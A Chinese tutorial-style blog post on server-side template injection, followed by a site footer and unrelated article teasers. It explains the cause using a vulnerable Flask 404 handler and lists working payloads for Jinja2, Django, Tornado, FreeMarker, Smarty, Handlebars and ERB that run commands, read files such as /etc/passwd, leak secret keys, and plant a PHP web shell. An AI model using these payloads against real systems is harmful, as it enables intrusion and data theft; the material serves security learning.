常见漏洞—ssti

我之前在做了几道题之后写了一篇只包含python环境的ssti的总结,后来刷portswigger lab的时候才发觉自己先入为主了,所以决定重新写一篇。

因本人技术浅薄,只对见过的几个模板做简单介绍,如果想看有深度的文章,可以直接去看参考里的最后一个。

ssti不仅仅存在于python中

ssti成因

服务端在接收用户输入或用户可控参数后,未作处理或未进行严格过滤,直接嵌入模板渲染,导致执行恶意代码。

拿python-jinja2举个例子吧

@app.route('/')
def hello_world():return 'Hello World!'@app.errorhandler(404)
def page_not_found(e):template = '''<div class="center-content error"><h1>%s Not Found!</h1></div>''' % (request.url)return render_template_string(template), 404if __name__ == '__main__':app.run()

在这段代码中:

​ 如果请求的url不存在,会返回404页面

​ 404页面的内容模板template包含request.url

​ 返回时调用了render_template_string(template)函数,而这个函数会调用jinja2模板引擎对template进行渲染,如果request.url中含有模板语句,将 会执行、渲染,然后返回

​ 但这个例子有特殊性,在该环境下要想利用ssti,必须要有%格式化字符串,就是template='''xxxxx'''%(request.url)这一部分,如果把template部分写 成了单独的html文件,那么将无法实现

例如:

  • 请求:xxxx.xxx/{{ 10*10 }}
  • 返回:xxxx.xxx/{{ 100 }} Not Found!

ssti利用思路

  • 确定模板引擎
    • 修改参数,看报错信息
    • 看模板语法
  • 根据引擎寻找/构造payload
    • 构造payload的思路
      • 寻找可用对象(比如字符串、字典,或者已给出的对象)
      • 通过可用对象寻找原生对象(object)
      • 利用原生对象实例化目标对象(比如os)
      • 执行代码
  • 如果手工有困难,或者工作量比较大,可用使用tqlmap代替

ssti-payload

1-python

  • fuzz
    • {{6*6}}
flask(jinja2)
  • 查看文件夹

    • {{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}这里的./是路径
  • 读取文件

    • {{''.__class__.__mro__[-1].__subclasses__()[40]('filename').read()}}

    • ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

    • request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')

  • RCE

    • object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
  • 查看配置项

    • {{ url_for.__globals__['current_app'].config['FLAG']}
  • bypass

    • 可以参考这篇文章
django
  • 查看配置项
    • {{settings}} (settings.SECRET_KEY)
    • {{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}}
tornado
  • 查看设置常量
    • {{handler.settings}}
  • RCE
    • {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}

2-java

freemarker
  • RCE
    • <#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
  • 沙盒逃逸+ 文件读取
    • ${object.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

3-php

smarty
  • 读取文件
    • {self::getStreamVariable("file:///proc/self/loginuid")}
  • 写入文件
    • {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

4-javascript

handlebars
  • RCE

    • {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').exec('rm morale.txt');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
      {{/with}}
      

5-Ruby

ERB
  • RCE
    • <%= exec 'ls' %>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/64185.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WEB语义化的新探索:浅析LLMs.txt

【引】有人迷恋使用大模型生成各种有趣的内容&#xff0c; 有人沉醉于大模型相关技术的探索&#xff0c;没有对错&#xff0c;只在于你的乐趣所在。 一项名为 llms.txt 的新提案标志了一些非同寻常的东西的出现: 一个Web网站不仅为人类读者服务&#xff0c;而且为人工智能提供服…

MacOs使用Wine 安装UaExpert与UaExpert的使用

要在 macOS 上使用 Wine 安装和运行 UaExpert&#xff0c;可以按照以下步骤操作&#xff1a; 安装 Wine 在 macOS 上&#xff0c;你可以通过 Homebrew 来安装 Wine。如果你还没有安装 Homebrew&#xff0c;可以先安装 Homebrew&#xff0c;然后使用它来安装 Wine。 bash /bin…

scp命令

scp&#xff08;Secure Copy Protocol&#xff09;是一种用于在不同主机之间安全传输文件的命令。使用 scp 命令&#xff0c;你可以将文件从本地计算机复制到远程计算机&#xff0c;或者从远程计算机复制到本地计算机。 以下是 scp 命令的基本语法和一些示例&#xff1a; 基本…

YOLOv10改进,YOLOv10利用DLKAttention融合DCNv3、DCNv4形成全新的可变形大核注意力,并二次创新C2f结构,全网首发

理论介绍 完成本篇需要参考以下三篇文章,并已添加到YOLOv10代码中 YOLOv10改进,YOLOv10添加DCNv3可变性卷积与C2f结构融合(无需编译)YOLOv10改进,YOLOv10添加DCNv4可变性卷积(windows系统成功编译),全网最详细教程YOLOv10改进,YOLOv10添加DLKA-Attention可变形大核注意力…

信奥赛CSP-J复赛集训(bfs专题)(5):洛谷P3395:路障

信奥赛CSP-J复赛集训(bfs专题-刷题题单及题解)(5):洛谷P3395:路障 题目描述 B 君站在一个 n n n\times n n

使用PyTorch Lightning简化深度学习模型开发

使用PyTorch Lightning简化深度学习模型开发 引言 随着深度学习领域的快速发展&#xff0c;开发者们面临着越来越多的挑战。从构建高效的训练循环到管理复杂的超参数&#xff0c;这些任务不仅耗时而且容易出错。为了帮助开发者更专注于模型的设计与创新&#xff0c;而不是被琐…

SSM 技术驱动的垃圾分类系统,引领绿色风尚

第1章 概述 1.1 研究背景 随着现代网络技术发展&#xff0c;对于垃圾分类系统现在正处于网络发展的阶段&#xff0c;所以对它的要求也是比较严格的&#xff0c;要从这个系统的功能和用户实际需求来进行对系统制定开发的发展方式&#xff0c;依靠网络技术的的快速发展和现代通讯…

【从零开始的LeetCode-算法】1338. 数组大小减半

给你一个整数数组 arr。你可以从中选出一个整数集合&#xff0c;并删除这些整数在数组中的每次出现。 返回 至少 能删除数组中的一半整数的整数集合的最小大小。 示例 1&#xff1a; 输入&#xff1a;arr [3,3,3,3,5,5,5,2,2,7] 输出&#xff1a;2 解释&#xff1a;选择 {3,7…

高通 Android12 添加APN信息

1、产品有国外客户&#xff0c;需要添加国外的定制APN信息。 2、路径&#xff1a; SC200E_AP/QCM2290_Android12.0_R02_r004/QSSI.12/vendor/qcom/proprietary/commonsys/telephony-apps/etc/apns-conf.xml在上述路径中将APN信息添加即可。 3、路径 SC200E_AP\QCM2290_Andr…

【机器学习】【无监督学习——聚类】从零开始掌握聚类分析:探索数据背后的隐藏模式与应用实例

从零开始掌握聚类分析&#xff1a;探索数据背后的隐藏模式与应用实例 基本概念聚类分类聚类算法的评价指标&#xff08;1&#xff09;内部指标轮廓系数&#xff08;Silhouette Coefficient&#xff09;DB指数&#xff08;Davies-Bouldin Index&#xff09;Dunn指数 &#xff08…

git的卸载与安装

目录 一、Git的卸载 二、Git的安装 2.1.1 官网下载 2.1.2 镜像下载 ​编辑 2.2 安装 2.3 检验否安装成功 三、Git使用配置 一、Git的卸载 1.找到程序&#xff0c;卸载程序 2.找到Git&#xff0c;右键卸载 卸载完成&#xff01; 二、Git的安装 2.1.1 官网下载 网址&…

java+springboot+mysql高校社团网

项目介绍&#xff1a; 使用javaspringbootmysql开发的高校社团网&#xff0c;系统包含管理员、学生角色&#xff0c;功能如下&#xff1a; 管理员&#xff1a;登录系统&#xff1b;首页&#xff1b;用户管理&#xff1b;社团分类管理&#xff1b;社团信息管理&#xff08;社团…

Linux24.04 安装企业微信

今天工作需要把windows系统换成了linux&#xff0c;但是公司的沟通工具是企业微信。去企业微信官网看了&#xff0c;没有linux版本&#xff0c;只能想办法解决了&#xff0c;不然再换回去就太坑了。 方案 1、使用docker容器&#xff0c;2、使用deepin-wine 本人对docker不太熟…

C语言刷题

1. 题目描述 根据给出的三角形3条边a:b.c(a.b,c<100.000)&#xff0c;计算三角形的周长和面积。 输入描述: 一行&#xff0c;三角形3条边(能构成三角形)&#xff0c;中间用一个空格隔开. 输出描述: 一行&#xff0c;三角形周长和面积保留两位小数&#xff0c;中问用一个空…

NodeJs-fs模块

fs 全称为 file system &#xff0c;称之为 文件系统 &#xff0c;是 Node.js 中的 内置模块&#xff0c; fs模块可以实现与硬盘的交互&#xff0c;例如文件的创建、删除、重命名、移动&#xff0c;内容的写入读取等以及文件夹相关操作 写入文件 异步写入 // 导入fs模块const f…

MetaGPT中的教程助手:TutorialAssistant

1. 提示词 COMMON_PROMPT """ You are now a seasoned technical professional in the field of the internet. We need you to write a technical tutorial with the topic "{topic}". """DIRECTORY_PROMPT (COMMON_PROMPT "…

React第十九章(useContext)

useContext useContext 提供了一个无需为每层组件手动添加 props&#xff0c;就能在组件树间进行数据传递的方法。设计的目的就是解决组件树间数据传递的问题。 用法 const MyThemeContext React.createContext({theme: light}); // 创建一个上下文function MyComponent() {…

【密码学】AES算法

一、AES算法介绍&#xff1a; AES&#xff08;Advanced Encryption Standard&#xff09;算法是一种广泛使用的对称密钥加密&#xff0c;由美国国家标准与技术研究院&#xff08;NIST&#xff09;于2001年发布。 AES是一种分组密码&#xff0c;支持128位、192位和256位三种不同…

安卓FakeLocation模拟定位对WX小程序不生效

背景 Fake localtion模拟定位GPS 、 基站&#xff0c;对于某些地区活动消费券在WX H5 、小程序中不生效 设备环境 小米13PRO澎湃1 安卓14已ROOTMagisk面具 27Lsposed 1.9.2 Zygisk模式Guise 1.1.1 不生效场景 模拟GPS、基站&#xff0c;在百度地图&#xff0c;微信腾讯地区…

AIGC---------AIGC在数字孪生中的应用

跨越虚拟与现实&#xff1a;AIGC在数字孪生中的应用 引言 近年来&#xff0c;人工智能生成内容&#xff08;AIGC&#xff0c;Artificial Intelligence Generated Content&#xff09;与数字孪生&#xff08;Digital Twin&#xff09;的结合&#xff0c;成为科技界的热点。AIGC…